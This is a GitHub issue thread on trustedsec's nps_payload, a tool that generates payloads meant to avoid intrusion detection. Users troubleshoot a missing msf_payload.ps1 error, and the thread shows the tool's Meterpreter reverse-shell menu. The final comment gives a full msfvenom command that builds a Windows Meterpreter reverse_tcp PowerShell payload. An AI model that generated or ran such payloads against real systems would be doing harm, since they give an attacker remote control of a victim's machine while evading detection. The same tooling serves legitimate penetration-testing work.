trustedsec / nps_payload

This script will generate payloads for basic intrusion detection avoidance. It utilizes publicly demonstrated techniques from several different sources. Written by Larry Spohn (@Spoonman1091) Payload written by Ben Mauch (@Ben0xA) aka dirty_ben
Other
439 stars 120 forks source link

IOError: [Errno 2] No such file or directory: 'msf_payload.ps1' #3

Open RizwanNawaz01 opened 5 years ago

RizwanNawaz01 commented 5 years ago

python nps_payload.py

                                 (            (
                          ) (    )\        )  )\ )

( ) ( ) ( /( )\ )(()( ( /( (()/( )\ ) /(/( )\ /(/( )()|()/( )\ )()) (() (/((()(() (()(() )()) |(()(() | | | ' )) ' |-< | ' ) ` | || | / \/ ` / ` | ||||| .///__| ./_,|_, |_/\,_,| || |____|_| |__/

                   v1.03

(1) Generate msbuild/nps/msf payload
(2) Generate msbuild/nps/msf HTA payload
(99)    Quit

Select a task: 1

Payload Selection:

(1) windows/meterpreter/reverse_tcp
(2) windows/meterpreter/reverse_http
(3) windows/meterpreter/reverse_https
(4) Custom PS1 Payload

Select payload: 3 Enter Your Local IP Address (None): 192.168.137.145 Enter the listener port (443): 8080 [] Generating PSH Payload... [] Generating MSF Resource Script... Traceback (most recent call last): File "nps_payload.py", line 417, in main() File "nps_payload.py", line 410, in main options[task]() File "nps_payload.py", line 108, in generate_msbuild_nps_msf_payload encode_pshpayload("msf_payload.ps1") File "nps_payload.py", line 68, in encode_pshpayload psh_file = open(payload_file, "r") IOError: [Errno 2] No such file or directory: 'msf_payload.ps1'

cymilad commented 4 years ago

yes my problem !!!!!!

cymilad commented 4 years ago

for me problem

Spoonman1091 commented 4 years ago

From the error, it looks like the msf_payload.ps1 is not getting created. Can you run 'msfvenom' from the console? This is required to generate the payload.

cymilad commented 4 years ago

no

Spoonman1091 commented 4 years ago

Install Metasploit. Make sure msfvenom is in your path definition.

cymilad commented 4 years ago

metasploit installed on kali linux

sakuraupupup commented 3 years ago

Before running this program you can use msfvenom to produce msf_payload.ps1 The command is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx (your ip)LPORT=443 -f ps1 > msf_payload.ps1